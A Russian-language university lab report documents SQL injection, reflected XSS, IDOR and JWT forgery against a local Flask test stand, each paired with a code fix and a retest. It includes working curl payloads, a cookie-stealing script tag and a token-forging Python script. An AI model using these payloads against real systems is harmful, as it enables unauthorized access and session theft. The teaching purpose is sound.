Министерство образования Республики Беларусь

Учреждение образования

«Брестский Государственный технический университет»

Кафедра ИИТ

Лабораторная работа №1

По дисциплине «Современные методы защиты компьютерных систем»

Тема: «Исследование уязвимостей веб-приложений и программных интерфейсов, настройка механизмов аутентификации и средств безопасной разработки.»

Выполнила:

Студент 4 курса

Группы ИИ-26

Карпович К.А.

Проверила:

Хацкевич А.С.

Брест 2026

Цель работы: практическое освоение методов выявления и эксплуатации уязвимостей прикладного уровня (SQLi, XSS, BOLA), алгоритмов компрометации JWT-токенов, а также проектирование механизмов защиты (CSP, Secure Cookies) в соответствии со стандартами OWASP.

Инструкция по запуску:

1. Установить Python 3.10+.
2. Выполнить команду: pip install -r requirements.txt.
3. Запустить стенд: python app.py. Сервер будет доступен по адресу http://127.0.0.1:5000.
4. Для выполнения всех шагов с вашего рабочего компьютера (терминала/консоли) используется утилита curlдля отправки HTTP-запросов и однострочники python для анализа данных.

Вариант	Условие SQLi (Payload type)	Вектор XSS (Обязательный тег)	BOLA: ID жертвы	JWT: Целевая роль (role)	Защита: Директива CSP
7	Tautology ('=')	<script>	ID = 8	superuser	script-src

Задание 1 (SQL Injection):

1. Формулировка индивидуального условия (тип payload из таблицы вариантов).

   По варианту задан тип payload **Tautology ('=')**: в поля username и password внедряется конструкция ' OR '1'='1, которая превращает условие WHERE в тождественно истинное и позволяет обойти проверку логина/пароля без комментариев SQL, получив доступ под первой учётной записью в таблице (администратор).

2. Команда curl, использованная для проведения атаки и скриншот/текстовый вывод ответа сервера с подтверждением обхода аутентификации.

```
 (.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i -X POST http://127.0.0.1:5000/login -d "username=' OR '1'='1" -d "password=' OR '1'='1"

HTTP/1.1 200 OK

Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 14:00:56 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 26

Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzkwMjYyMDU2fQ.b61u0phKMPC2sIyxtG_E2b1DwrETT24ZDTo9CTtgnfE; Path=/

Connection: close

Login success. Role: admin
```

3. Фрагмент исправленного кода на Python с использованием параметризованных запросов.

```
query = "SELECT id, username, role FROM users WHERE username=? AND password=?"

try:

    c.execute(query, (username, password))
```

4. Текстовый вывод консоли при повторном запуске атаки (демонстрация получения ошибки 401 Unauthorized).

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i -X POST http://127.0.0.1:5000/login -d "username=' OR '1'='1" -d "password=' OR '1'='1"

HTTP/1.1 401 UNAUTHORIZED

Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 14:18:33 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 19

Connection: close

Invalid credentials
```

Задание 2 (XSS & CSP):

1. Индивидуальный вектор полезной нагрузки (обязательный HTML-тег из таблицы вариантов).

```
<script>alert(document.cookie)</script>
```

2. Команда curl, демонстрирующая отражение уязвимого ввода в теле HTTP-ответа.

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe "http://127.0.0.1:5000/search?q=<script>alert(document.cookie)</script>"
<h1>Результаты поиска для: <script>alert(document.cookie)</script></h1><p>Ничего не найдено.</p>
```

3. Фрагмент кода на Python, реализующий добавление заголовка Content-Security-Policy с индивидуальной директивой варианта.

```
@app.after_request
def add_security_headers(response):
    response.headers['Content-Security-Policy'] = "script-src 'self'"
    return response
```

4. Скриншот или описание проверки работы CSP (с фиксацией блокировки скрипта в консоли).

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i "http://127.0.0.1:5000/search?q=<script>alert(document.cookie)</script>"

HTTP/1.1 200 OK

Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 14:54:04 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 130

Content-Security-Policy: script-src 'self'

Connection: close

<h1>Результаты поиска для: <script>alert(document.cookie)</script></h1><p>Ничего не найдено.</p>
```

Задание 3 (BOLA / IDOR):

1. Значение идентификатора жертвы (ID), назначенного по индивидуальному варианту.

   По варианту: ID = 8

2. Команда curl и скриншот JSON-ответа сервера, содержащего конфиденциальные данные (флаг) профиля.

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i http://127.0.0.1:5000/api/profile/8
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.12.10
Date: Thu, 24 Sep 2026 14:57:55 GMT
Content-Type: application/json
Content-Length: 61
Content-Security-Policy: script-src 'self'
Connection: close
{"private_data":"FLAG{secret_data_8}","username":"student8"}
```

3. Фрагмент защищенного кода на Python с проверкой соответствия идентификатора сессии и запрашиваемого ресурса.

```
@app.route('/api/profile/<int:user_id>', methods=['GET'])
def get_profile(user_id):
    token = request.cookies.get('auth_token')
    if not token:
        return jsonify({"error": "Unauthorized"}), 401
    try:
        decoded = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])
    except jwt.InvalidTokenError:
        return jsonify({"error": "Invalid token"}), 401

    if decoded.get('user_id') != user_id and decoded.get('role') not in ['admin', 'superuser']:
        return jsonify({"error": "Forbidden"}), 403

    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute("SELECT username, private_data FROM users WHERE id=?", (user_id,))
    user = c.fetchone()
    if user:
        return jsonify({"username": user[0], "private_data": user[1]})
return jsonify({"error": "User not found"}), 404
```

Повторим ту же самую атаку. Так как мы не передаем никакой токен в запросе curl, сервер должен нас заблокировать:

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i http://127.0.0.1:5000/api/profile/8
HTTP/1.1 401 UNAUTHORIZED
```

```
Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 15:01:45 GMT

Content-Type: application/json

Content-Length: 25

Content-Security-Policy: script-src 'self'

Connection: close

{"error":"Unauthorized"}
```

Задание 4 (JWT Forgery):

1. Исходный слабый токен и результат его перебора (найденный секретный ключ).

```
МОЙ ПОДДЕЛЬНЫЙ ТОКЕН (superuser):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InN1cGVydXNlciIsImV4cCI6MTc5MDI2NjIwN30.Pn0rivCzR4q5l2PfefrvDFgf32OHOsndNWOhlkzwn5k
```

2. Фрагмент консольного скрипта на Python, использованного для подписи поддельного токена с целевой ролью из индивидуального варианта.

```
import jwt

import datetime

secret = "student2026"

payload = {

    "user_id": 1,

    "username": "admin",

    "role": "superuser",

    "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=1)

}

forged_token = jwt.encode(payload, secret, algorithm="HS256")

print("МОЙ ПОДДЕЛЬНЫЙ ТОКЕН (superuser):")

print(forged_token)
```

3. Команда curl с подставленной cookies auth_token, демонстрирующая успешный доступ к закрытой панели администратора /admin (с выводом флага системы).

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i http://127.0.0.1:5000/admin --cookie "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InN1cGVydXNlciIsImV4cCI6MTc5MDI2NjIwN30.Pn0rivCzR4q5l2PfefrvDFgf32OHOsndNWOhlkzwn5k"

HTTP/1.1 200 OK

Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 15:20:47 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 108

Content-Security-Policy: script-src 'self'
```

```
Connection: close

<h1>Панель администратора</h1><p>Флаг захвачен: FLAG{JWT_FORGED_SUCCESS}</p>
```

4. Фрагмент кода на Python, демонстрирующий перевод генерации токена на криптостойкий секрет (256 бит).

```
import secrets

app = Flask(__name__)

JWT_SECRET = secrets.token_hex(32)
```

Текстовый вывод консоли, демонстрирующий отказ в доступе (401 Unauthorized) при использовании ранее скомпрометированного JWT-токена после замены секретного ключа на криптостойкий (256 бит):

```
(.venv) PS C:\Users\Ксения\PycharmProjects\Labs> curl.exe -i http://127.0.0.1:5000/admin --cookie "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InN1cGVydXNlciIsImV4cCI6MTc5MDI2NjIwN30.Pn0rivCzR4q5l2PfefrvDFgf32OHOsndNWOhlkzwn5k"

HTTP/1.1 401 UNAUTHORIZED

Server: Werkzeug/3.1.8 Python/3.12.10

Date: Thu, 24 Sep 2026 15:28:34 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Content-Security-Policy: script-src 'self'

Connection: close

Invalid token
```

Задание 5 (Проектирование защитных механизмов):

1. **Развернутый ответ на пункт 1:** корректно сформированный вызов метода set_cookie с обязательным указанием трех флагов (HttpOnly, Secure, SameSite) и академическим обоснованием их назначения.

```
resp.set_cookie(
    'auth_token',
    token,
    httponly=True,
    secure=True,
    samesite='Strict'
)
```

Обоснование каждого флага:

- **HttpOnly** — запрещает доступ к значению cookie из клиентского JavaScript через document.cookie. Даже если на сайте присутствует необнаруженная XSS-уязвимость и злоумышленник сумеет выполнить произвольный скрипт в браузере жертвы, он не сможет прочитать и эксфильтровать сессионный токен — этот атрибут разрывает цепочку «XSS → кража сессии».
- **Secure** — предписывает браузеру передавать cookie исключительно по зашифрованному соединению (HTTPS), никогда по обычному HTTP. Это исключает перехват токена в открытом виде при атаке «человек посередине» (MitM) в незащищённых сетях (например, публичный Wi-Fi).

- **SameSite=Strict** — запрещает браузеру отправлять данную cookie при кросс-доменных запросах, инициированных с других сайтов (переход по ссылке, автоматическая отправка формы, скрытый <img>/<iframe> на стороннем ресурсе). Тем самым нейтрализуется класс атак CSRF, при которых злоумышленник заставляет браузер жертвы неявно выполнить действие от её имени, используя действующую сессию.

Совместно эти три атрибута образуют «оборону в глубину» для cookie-based аутентификации: HttpOnly защищает от клиентского скриптового доступа, Secure — от сетевого перехвата, SameSite — от подмены источника запроса.

2. **Развернутый ответ на пункт 2:** спецификация HTTP-заголовка Content-Security-Policy, соответствующая индивидуальной директиве варианта, с пояснением принципа ее работы против внедренных сценариев.

Content-Security-Policy: script-src 'self'

Принцип работы: CSP — это декларативный HTTP-заголовок, который браузер трактует как политику безопасности для конкретного документа. Директива script-src явно определяет допустимые источники, с которых разрешено загружать и исполнять JavaScript-код. Значение 'self' разрешает только скрипты, отданные тем же источником (схема+домен+порт), с которого загружена сама страница, и по умолчанию запрещает:

- любые inline-скрипты (в том числе внедрённые через отражённую XSS-инъекцию, как в задании 2), поскольку у них нет допустимого атрибута источника;
- скрипты со сторонних доменов, если явно не добавлены в список разрешённых источников;
- обработчики событий вида onerror, onload, javascript:-ссылки и подобные конструкции, так как они по сути также являются inline-исполнением кода.

Ключевое отличие от экранирования вывода (используемого как основная защита от XSS) в том, что CSP работает как второй, независимый рубеж обороны на стороне клиента: даже если по какой-то причине неэкранированный ввод всё же попадёт в HTML-документ (ошибка в другом месте кода, обход фильтра и т. п.), браузер всё равно откажется выполнять скрипт, не соответствующий заявленной политике — это принцип defense-in-depth (эшелонированной защиты).

Вывод: в ходе работы были изучены и практически проэксплуатированы уязвимости SQLi, XSS, BOLA и подделки JWT, а также реализованы соответствующие защитные меры — параметризация запросов, проверка владельца ресурса, заголовок CSP и криптостойкий секрет. Повторные атаки после исправлений подтвердили эффективность всех мер: инъекция, XSS и IDOR были устранены, а подбор JWT-секрета по словарю стал невозможен. Работа показала важность комплексного подхода к защите — устранения уязвимостей на уровне кода и протокола одновременно.